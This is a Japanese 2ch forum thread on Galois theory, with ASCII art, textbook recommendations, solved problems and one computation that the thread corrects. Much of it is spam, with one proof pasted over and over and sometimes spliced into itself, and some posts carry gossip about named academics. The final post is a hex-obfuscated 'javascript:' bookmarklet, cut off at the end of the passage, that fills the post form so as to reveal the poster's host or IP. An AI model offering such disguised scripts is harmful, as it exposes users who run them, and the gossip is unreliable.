ガロア理論 Part 2

　　　　　　　　　　　　　　　　　　　　　　　（　方程式 f(X) = 0 が代数的に解けるための必要十分条件は、
　 　 　 ,' ／　　 　 　 ,ヽ 　 `､　`<／':, ':, （　f(X) のガロア群が可解群であることですわ、さくらちゃん
　　 　 ,''´　　　 ':, 　 　';,ﾞ:､ 　 ';,　 ﾞ､　 ';, ',（
　　　 ,'. 　 　　　 };　! 　',',|ﾞ､　 lﾞ, 　 !　 |', ! ￣￣￣￣￣￣￣l／￣ヽ ヽ､￣':,￣￣￣￣￣￣￣￣￣￣￣
　　　 !. 　 　 | 　 |l　|;　 | ! ,l　 N 　| 　,' |l .,'　　　　　　　　　　　　　　ﾞ､　 ＼ ',
　　 , |　|　　.,'|　 ﾚl ,'.l　,' 　 ! /　} /　/　'./　　 　 ,:' 　　,., 　 　 　 　 　',_..-''" !
　　 ! |　!　 .,' レ/ |/ |.,:' 　 ﾉ"_　",'／　,〃 　 　,,;'' 　　.,',' 　 　 　 　 　 } }　 　!
　 　| | ,'| ,,/イ, '　´　'´　　　,;:=::ｯ1}-;＝=;;;;;;;; '∠_　　,:'/　　　　 , , 　 　|,' 　　!
　l　 ',',.ﾚ!./ ﾉ' _.......　　　　　´　　 | |　　　 ￣｀ﾞﾞﾞﾞ"￣'´'､_　 　　,':,'　　, ,' 　　 !
　 !　 ',', l'　_,;;:'''"ﾞﾞﾞ` 　 　 　 　 　 l lヾ:､　..___　　　　　　`ﾐ;;､　/:/ 　 ,'.,'　　　|
　 ', ',　ﾞ;､ ﾌﾞ´　.....::::: 　 　　' 　　,ｨ j ...｀ﾞﾞ'＝= 　 　 　 　 　｀ヾ､<. 　,:',:'　　　 !
　', ', ':,　',` U ::::　 　 　､:::ｧ' 　／!| j　::::::::...　　 　 　 ,､ヽ._ 　　｀>ン'´　　　　|
　 ';, ':, ':, ヽ.._u　　　　　　　／ｨ　!ﾚ､　　　　　　　　 ....ヾ::､､ ,イ〃　　　　　　|
　 ':,''i:､ヽヽ.ヽ ｀｀ﾞ`' ー-,＜_ノﾉ.,ｲ|_|ヽ　　　 ` ｰ　´　::::::... ,:'.ノ','　　　　　　　!
　　 ｀',',`ヾ;､ヾ:､---‐‐‐'´　{イ´,','/ 　ヽ 　 　　　 　 　　ノ' ´ l !　　　　　　　|
　　　　ヾ;ﾉ `ヽ､｀　　　　　 '｀`ｿ'ｰ‐‐‐-､` --,-‐‐‐ ' ' ´　 　 | | 　 　 　 　 　!
　 ￣￣　ヾ;､　＿＿∧＿＿ノ'＿＿＿__｀ヽ〈___｀ヽ､＿________|_|＿_＿_＿_＿l＿_
　　　　　　　`（
.　　　　 　 　 （　　ほえ〜　さくら、算数苦手だからわからないよ……

★前スレ

■ガロア理論■簡単に説明して下さい
http://science3.2ch.net/test/read.cgi/math/1075239987/

2ｹﾞﾄはにゃーん

>>1
もう少し線を整理しよう。
点描的手法は多用しないほうがよい。

>>1
こう言う時は「ガロワ群」と書かなければ・・・

5

即死回避

ファインマンだって２１歳になるまでBernoulliをブゥアーナァライと読んでたのだから、Galoisをガロイスと読むくらい許されるのでは？

>>7
まだ16レス残ってるからな。

ガロアはトポロジー知ってたの？

保守

あげ

即死回避

それらしき発言がなかなか出ないから即死が見えたかな。

(;´Д`)

トポロジーへの応用を語ってくれ。

どうして形容詞が Galoic にならないのだろうか?

我

露

亜

>>16
ダランベール → ダランベルシャン
UltraMagic → ウルトラマジシャン
ウルトラマニアン？

阿

あげ

>16
galoisianというのならありますが？

即死阻止

>>21>>22>>24
おめぇ厨房支援スレの保守は諦めて今度は消すにはいかない糞スレの保守を始めたか

そ

s

ゴルァ理論

>>25
?

o

角の三等分の問題どうした

ヽ(ﾟ∀ﾟ)ﾉ

age

おいおいおいこれはどんなガロアなのかおしえてください
ttps://archive.ugent.be/retrieve/987/19941787.pdf

>>34
警告が出たので開かなかったが
誰か調べてくれ

誰も調べないのか?
?????????????????????????????????????？？？？？？？？？？？？？？？

はてなは小さいほうがよりはてならしい

http://www.geocities.co.jp/Hollywood-Studio/1715/garia.html

>>38
Not found

>>
499 ：UltraMagic ◆NzF7MCEOec ：04/07/03 15:15
IDチェック

SEX チェック

Magic　チェック

ウルトラ　マジック　ムーン　シャイン

藤原のガロア理論、
ってどんなもんなの・
誰かおせーて

それは藤原理論

それでは、その「藤原」理論の概略と、参考図書を教えて!

ロットマンで確定

>>46
ロットマンよりもう少しレベルの高い本をｷﾎﾞﾝﾇ

ロットマンという人が藤原理論の図書を書いているの?

書いてるわけ無い

ロットマン = ロッタリーであたった人

http://science3.2ch.net/test/read.cgi/math/1045388265/325
でも書いたが、
＞藤原（のガロア）理論
ググッたり調べたりしたら出て来た事には出てきたが、
結局どんな理論か分からなかった。
>>44
教えてくれ。

http://www.math.niu.edu/~beachy/aaol/galois.html
ガロア

>>52
ｱﾌｫ

藤原、望月、柏原の評価を教えて

柏原が Fields 賞を受賞しなかったこと自体がおかしい。
受賞の年齢制限を過ぎたころから外国人にもその事が
だんだん分かってきた。
むしろ日本人の無理解のほうが依然としてはなはだしい。

望月は良く知らん。何をした人だ。

ガロア理論の入門書には「5次以上の方程式の解の公式が存在しないこと」ばかりが強調されているのですが
ガロア理論のポイントはガロア対応で、可解群は上の問題のための概念と認識していますがよろしいですか？

解けるために必要十分条件が可解群であるという意味か?

858

>>57
当たり前じゃん。

544

素数p次の置換群が連結でかつ可解群ならば、
その最大位数のものは位数がp(p-1)であり、
pを法とする添字の一次変換 y = a x + b
のなす群と一致する。可解な群はこの群の
部分群である。(ガロア)

>>62
連結って可移のこと？
証明もしくは文献ｷﾎﾞﾝﾇ

570

>>62
証明も何も無い只の予想かw

>>63
証明も何も無い只の予想かw
ｱﾌｫども

反例を即座にあげれん君らも十分ｱﾌｫだがな。

ｱﾌｫ同士のｱﾌｫスレか

712

349

186

証明してくれよ

暇な人に方程式x^4 + 3x^3 + 6x^2 + 3x + 1 = 0
の有理数体上のガロア群でも求めてもらおうか。

Maple ってソフトを使うと、我ロ亜群が求まると誰かがいってたけど本当?

>>56
数理研の望月さんのことじゃない？グロタンディック予想かなんかを解決したはず。

それより、モチヴィックガロア理論ってなんすか？

モチヴィックなコホモロジーへのガロア作用の研究

>>73
f (x) = x^4 + 3x^3 + 6x^2 + 3x + 1 と置くと、
f (±1) ≠ 0 だから、一次因子を持たない。
f (x) = (x^2 + ax ±1)*{x^2 + (3 - a)x ±1} と置いて調べると、
二次因子も持たない。よって既約。
f (x) = {x^2 + (3/2)x + 1}^2 + (7/4)x^2 だから実根を持たず、
複素共軛は (2, 2) 型のガロア置換。
又、相反方程式であり、 1 の冪根を根に持たないから、
x → x^(-1) も (2, 2) 型のガロア置換。
よってガロア群は Klein の 4 元群。

営繕シュタインの定理とかでこれこれこういう条件を満たす式は
有理数を基礎に取るとき規約とかいうけど、どゆこと？

代数方程式のガロア群の位数が奇数であるとき、与えられた代数方程式は可解である。

Feit-Thompson 使うな

>>78
Eisensteinをエイゼンシュタインとよんでる予感。

>1のＡＡには(；´д｀)ﾊｧﾊｧするのだけれど
なんじゃこの廃れ様は…

>>78
映画監督と間違えている。

>>78
有理数係数の多項式としては既約って意味でしょ？たとえば
f(t)=3t^2+14t+6はp=2としてEisensteinの定理の仮定をみたしてるから
Q(t)の元としては既約。しかしC[t]の元としては既約ではない。

　　　　　　 　　　 ...,､ -　 ､∞
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　∞ヽ/;;;;;　i　 i　;;;;　　ヽ;;;;;;; __.ヽ ヽ::::ヽ
　ヽ:::::l　i.ο　l;;; ﾄ　　ヽ　 ヽ .___..ヽο丶::ゝ
　r:::::ｲ/ l:::.|　i ヽ　　＼　＼/ﾉﾉﾊ;;; ヽ
　l:/ /l　l.　　l;;;;;　i　 ヽ'"´__ヽ_ヽﾘ }. ',　　',
　'l. i　ト l;;;　ﾚ'__　　　　'"i#::::iﾞ〉l^ヾ　 |.i.　l
.　l l　lミ l ／r'++::ヽ　　　　'n‐／.}　/　 i l　l　　／￣￣￣￣￣￣￣
　 l l　l.ヾlヽ　ヾ:‐°　 ,　　　　 !'" ♭i i/ i＜　　このスレ相変わらず
　 iﾊ　l　 (.´ヽ　　　　　_　　 .／　◎　 ,' ,'　'　 |　馬鹿ばかりだわねぇ・
　　 |l. l　　♭ ''丶　　.. __　 イ　　∫　　　　　　 ＼＿＿＿＿＿＿＿
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　　　　　　◎　 ／ ヾ_　　◎/　≪≪ ,,;'' /:i
　　　　　　　 /King命;｀　∬/　　　,,;'''／:.:.i＼

257

>>73
どうした

964

Eisensteinがエイゼンシュタインということは、
Einsteinはエインシュタインか。

2ch系の隠語としてガロイスなども認めてください

>>90
漢字当ててくれ

画炉亜

センス無いなぁ、特に画が。炉は炉利で使って居る。
（だからだめというわけではない画）
アはなかなか見つからんなぁ
矢張りイスにしてくれ。
ほかの当て字求む

餓呂阿

餓櫨葦簾

亜細亜系炉利画像
略して画炉亜

>>96
画炉亜求む

画・炉・亜　画・炉・亜
Aa 略

294

ﾌｧﾙﾃｨﾑﾎﾟｽ
ﾌﾙﾃｨﾝ

M.アルチンの奥さんの名前知っているか？

M.ナイチンは禁止で

ﾜﾛﾀ

>>77
残念！
f(x)の判別式=1372は平方数じゃないから
Galois群は位数8の二面体群。

アチャー
適当な素数を法として既約だから4次巡回置換を含むとするのかな？
降参

それでもいいですが、この場合は
3次巡回置換を含まないこと（方程式の形から）、
K_4を部分群として含むこと（>>77）
が分かっているので4次置換群の分類からD_4しか残りませんね。

なるほど

しかしこのスレの人はこれが解けない人の集合体だったのか?

　　　　　　 　　　 ...,､ -　 ､∞
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　 l l　l.ヾlヽ　ヾ:‐°　 ,　　　　 !'" ♭i i/ i＜　　このスレ相変わらず
　 iﾊ　l　 (.´ヽ　　　　　_　　 .／　◎　 ,' ,'　'　 |　馬鹿ばかりだわねぇ・
　　 |l. l　　♭ ''丶　　.. __　 イ　　∫　　　　　　 ＼＿＿＿＿＿＿＿
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　　　　　　∫　　　／ﾉ!　▽　/　　｀　‐- 、
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　　　　　　　 /King命;｀　∬/　　　,,;'''／:.:.i＼
とは云わない

129

しらねー奴らめ

伊丹公理はking並。NGワードであぼ〜ん決定だな。

5214

馬鹿ばっか

218

計算してくれ

スレが停滞しているようだから問題を出そう
√(10 + 2√5) の二重根号は外れないことを証明せよ。

√（１０＋２√（５））＝４ｃｏｓ（π／１０）。

>>118
超越函数は使っていけない。
自然数の平方根の有理係数の一次結合に書けないと言う意味だよ。

>>119
>>118はx^20-1=0の円分体に含まれるから無理と言うことでは？

>>120
正解。
しかし、試験答案にそのように書いたのでは減点されるかも。

全角氏はシャイで無口な方であるため、
誤解されやすい方かもしれません。。。

おいらも問題投下。
Q上既約な整係数多項式f(x)=x^3+a_2x^2+a_1x+a_0の判別式がd^2
であるとき、f(x)の最小分解体はQ(ζ_{3d})の部分体である。

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

伊丹公理は、なぜわざわざ嫌われるような（叩かれるような）書き方をするのだ？
もっと言葉遣いに気をつければ皆に尊敬されるはずなのに。

過去から現在までに、
数学板のコテにまともなやつっていた？

いた。数学板最強コテ↓
今井弘一 ◆y5cqyKrLAo

>>125
ROGERさんとか。

>>125
っていうか、伊丹公理は最低の部類だろ。
今井爺は、まだ笑わせてくれただけずっとマシ。

>>128
ただのオナニー野郎だからな

最低はkingと思ふ。

king最高

king最高

247

私はkingよりずっと数学が出来る。

伊丹公理さんが最近理解した定理は何でつか？

さて、今日から書き込む。
12/30〜1/3 の私の名前での書き込みは皆偽者。
実際まともな書き込みが無い。しかしなぜ、

http://science3.2ch.net/test/read.cgi/math/1090800616/387
http://science3.2ch.net/test/read.cgi/math/1093887025/104

のように私の事を皆聞きたがるのだろう。

Re:>134 お前に何が分かるというのか？

>>137
>>136にも書いた通り、あの時点以前のあれは偽者だよ。
最近トリップの異なる偽者が多いので注意。

佐々木の学生の学位の審査にはいつものように岡本が参加している。
佐々木は上野とも非常に仲が良い。
佐々木はこうして数学に「浸透」しつつあった。
今回のセクハラ騒動で岡本や上野にも影響が
何か及ぶのかどうかは不透明。
期待している人は多いようだけどね。

岡本和夫と佐々木力
http://science3.2ch.net/test/read.cgi/math/1107052485/17

史春は崩れとﾌｧｲﾄｸﾗﾌﾞで研究の中身で真っ向勝負しないと、
ｱﾎｱﾎ君決定です。そんな事したら負けるの目に見えてるけど

岡本和夫と佐々木力
http://science3.2ch.net/test/read.cgi/math/1107052485/470

468

128

991

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

205

Abel Prize は Lax
http://www.abelprisen.no/en/prisvinnere/

数学の最先端　21世紀への挑戦
数学と数値計算 ・・・・・ P. ラックス
http://www.springer-tokyo.co.jp/math_ed/webLax.html

【数学界】 ピーター D. ラックス 【の巨人】
http://science3.2ch.net/test/read.cgi/math/1111320908

アルティンのガロア理論入門入手できません。
だれか有償で譲っていただけないでしょうか。。。。。。。。。
メアドはいってます。

[email protected]

>>149
英語なら千円もせずに買えるよ。数学の英語は簡単。

>>149
http://www.google.co.jp/[email protected]&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

ガロア理論はこのような応用もあるということをご存じない方が多いようだな ガロア理論はこのような応用もあるということをご存じない方が多いようだな ガロア理論はこのような応用もあるということをご存じない方が多いようだな

>>151
日本語版には寺田さんがほどよい練習問題をつけてくれているんだな
だから価値がある

>>154
分かってるねｷﾐ
日本語のは読みにくいけど
演習があって良い本だぜ

>>155
あの演習問題は多過ぎず少な過ぎず
むずかし過ぎずやさし過ぎず
絶妙だね

おかげで完成されたGalois理論の本になった

文行さんはただ受験数学でもうけてるだけの人じゃないね

afo

797

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

今週入学したばかりの大学院でガロア理論の輪読やります。
輪読スレにしませんか?

どの本でやるんですか？
ガロア理論の一般的な話題を語る場所が無くなるので
別スレ立てたほうが良いかもしれません。

アルティン・ガロア理論入門
藤崎源一郎・なんか分厚い本
松坂和夫・代数系入門
加藤和也他・数論1〜
足立恒雄・ガロア理論講義

アルティン・ガロア理論入門
永田雅宜　可換体論
あたりかな？

Lang, Algebra,
Hungerford, Algebra,
Rotman, Galois theory,
M.Reil's lecture note,
Artin, Algebra,
Rotman, Abstract Algebra.

Dorega ii??

>>165
zenbu dame
Lang noga ii!

Reil --> Reid

>>165>>166
Langはリファレンスとしてはいいけど、読むのはちょっとしんどいんでは？
M. Artin Algebra がお勧め。

van der Waerden noga ii!

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

ネター等式・クンマー拡大でつまずいた。
飛ばしてさきにたんじゅんかくだいをやる。

Bourbaki, Algebra&Commutative Algebra
Atiya, Commutative Algebra
松村, 可換環論

mo wasureruna!!

>>172
＞松村, 可換環論
なんで日本語打ってんのにわざわざローマ字に変えてんの？ｗ

＞松村, 可換環論
なんで日本語打ってんのにわざわざローマ字に変えてんの？ｗ
＞松村, 可換環論
なんで日本語打ってんのにわざわざローマ字に変えてんの？ｗ

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

永田雅宜「可換体論」　ｐ65　作図可能な図形の問題のところですが、
定理2・11・1　　の必要性のところで、
体Ｋ内のニ直線の交点はまたＫに戻ってくるという理屈が理解できません。
知人と相談した限りではＫ内から４点を選んで二本の直線を決定した後、
その四点の共役複素数を使ってＫを二次、二次、二次、二次と拡大し、
その拡大された後の体に交点が戻ってくるのではないかという話にないました。
いったいどういう事なんでしょうか?

>>177
その本を持っていないので詳しく

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

うん、ご存知内

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

705

問:任意の2つの超越数をα,βに対し、 Cの自己同型写像の中でσ(α)=βとなるものが存在することを示せ

>>183
αを含むＣのＱ上の超越基をＳとし、βを含むＣのＱ上の超越基をＴと
する。ＳとＴは同じ濃度だから、αをβに写す同型
τ：Ｑ(Ｓ)→Ｑ(Ｔ)がある。
ＣはそれぞれＱ(Ｓ)またはＱ(Ｔ)の代数拡大だから、
τはσ：Ｃ→Ｃに延長される。

念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回 念のため誰でもわかるように>>117の解答を書いておこう。

先ずは誤答例から。
10 + 2√5 のノルムが平方数で無いので、 Q(√5) の平方元にならないというもの。
しかし、例えば a√2 + b√10 の形の元の平方にならないとも限らない。

もし、n_1, n_2, ....... , n_k を自然数として、
√(10 + 2√5) ∈ Q(√n_1, √n_2, ....... , √n_k) とすると、
Q(√(10 + 2√5), i) ⊂ Q(√n_1, √n_2, ....... , √n_k, i)
左辺は円の20分体であるから、ガロア群は2次巡回群と4次巡回群の直和、
右辺のガロア群は2次巡回群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。
群の直和となり矛盾。

ガロア理論はこのような応用もあるということをご存じない方が多いようだな。

　　　　　　　　　　　　　　　　　　　　　　　（　ここだけの話、数学科の学生の大半はガロア理論を
　 　 　 ,' ／　　 　 　 ,ヽ 　 `､　`<／':, ':, （　理解できずに大学卒業するのが実態ですわ。
　　 　 ,''´　　　 ':, 　 　';,ﾞ:､ 　 ';,　 ﾞ､　 ';, ',（
　　　 ,'. 　 　　　 };　! 　',',|ﾞ､　 lﾞ, 　 !　 |', ! ￣￣￣￣￣￣￣l／￣ヽ ヽ､￣':,￣￣￣￣￣￣￣￣￣￣￣
　　　 !. 　 　 | 　 |l　|;　 | ! ,l　 N 　| 　,' |l .,'　　　　　　　　　　　　　　ﾞ､　 ＼ ',
　　 , |　|　　.,'|　 ﾚl ,'.l　,' 　 ! /　} /　/　'./　　 　 ,:' 　　,., 　 　 　 　 　',_..-''" !
　　 ! |　!　 .,' レ/ |/ |.,:' 　 ﾉ"_　",'／　,〃 　 　,,;'' 　　.,',' 　 　 　 　 　 } }　 　!
　 　| | ,'| ,,/イ, '　´　'´　　　,;:=::ｯ1}-;＝=;;;;;;;; '∠_　　,:'/　　　　 , , 　 　|,' 　　!
　l　 ',',.ﾚ!./ ﾉ' _.......　　　　　´　　 | |　　　 ￣｀ﾞﾞﾞﾞ"￣'´'､_　 　　,':,'　　, ,' 　　 !
　 !　 ',', l'　_,;;:'''"ﾞﾞﾞ` 　 　 　 　 　 l lヾ:､　..___　　　　　　`ﾐ;;､　/:/ 　 ,'.,'　　　|
　 ', ',　ﾞ;､ ﾌﾞ´　.....::::: 　 　　' 　　,ｨ j ...｀ﾞﾞ'＝= 　 　 　 　 　｀ヾ､<. 　,:',:'　　　 !
　', ', ':,　',` U ::::　 　 　､:::ｧ' 　／!| j　::::::::...　　 　 　 ,､ヽ._ 　　｀>ン'´　　　　|
　 ';, ':, ':, ヽ.._u　　　　　　　／ｨ　!ﾚ､　　　　　　　　 ....ヾ::､､ ,イ〃　　　　　　|
　 ':,''i:､ヽヽ.ヽ ｀｀ﾞ`' ー-,＜_ノﾉ.,ｲ|_|ヽ　　　 ` ｰ　´　::::::... ,:'.ノ','　　　　　　　!
　　 ｀',',`ヾ;､ヾ:､---‐‐‐'´　{イ´,','/ 　ヽ 　 　　　 　 　　ノ' ´ l !　　　　　　　|
　　　　ヾ;ﾉ `ヽ､｀　　　　　 '｀`ｿ'ｰ‐‐‐-､` --,-‐‐‐ ' ' ´　 　 | | 　 　 　 　 　!
　 ￣￣　ヾ;､　＿＿∧＿＿ノ'＿＿＿__｀ヽ〈___｀ヽ､＿________|_|＿_＿_＿_＿l＿_
　　　　　　　`（
.　　　　 　 　 （　　ほえ〜　さくら、そもそも群の定義を覚えてないよぉ……

にしんが一尾半で1.5シリング。では1ダースでは？

age

697

崩れ博士・PD PART3【コネの造りしもの】
http://science3.2ch.net/test/read.cgi/math/1120573848/

ガロアってただしはガロワだろ、フランス語なら

今まで代数やってて気付いたんだが、
ガロア理論の基本定理の証明って大略二通りあるみたいね。
森田康夫「代数概論」みたいに正規拡大とガロア拡大を区別するやり方、
アルティン流に群指標と行列代数を用いるやり方。
俺は前者のほうでやったけどアルティン流はむずくてわからん。
なんかスマート過ぎて頭イイ人向けなんじゃない？

本質をついたアルティン流のほうがより分かりやすいともいえる。
もっとわかりやすいのがブルバキ流。
既存のは計算的なテクニックに頼っているところがある。

>>193
両方わかる？俺もそうなりたい。

>>192
同意。おれも最初アルティンの本読んでよくわからんかった。ファンデルウェルデン読んでわかった。

√(196) = 14

>>195
誤解のないように、念のために言うけど、アルティンとファンデルウェルデン
の流儀というのは同じ目的（つまりガロワ理論）を達成するための
２種類の方法というのとはちょっと違う。同じ目的なら分かりやすいほうが
いいに決まってる。
アルティンはガロワ理論に新しい観点（線形性）を導入した。
プラスしたわけ。因みにファンデルウェルデンの本はアルティンの古い
（１９３０年代の）講義をもとにしたもの。つまり、両方ともアルティン
のもの。

ちなみにガロワ自身の方法てどんなの？

javascript:s='7769746828646f63756d656
e742e666f726d735b305d297b46524f4d2e76
616c75653d2766757369616e6173616e273b4
d4553534147452e76616c75653d275c753531
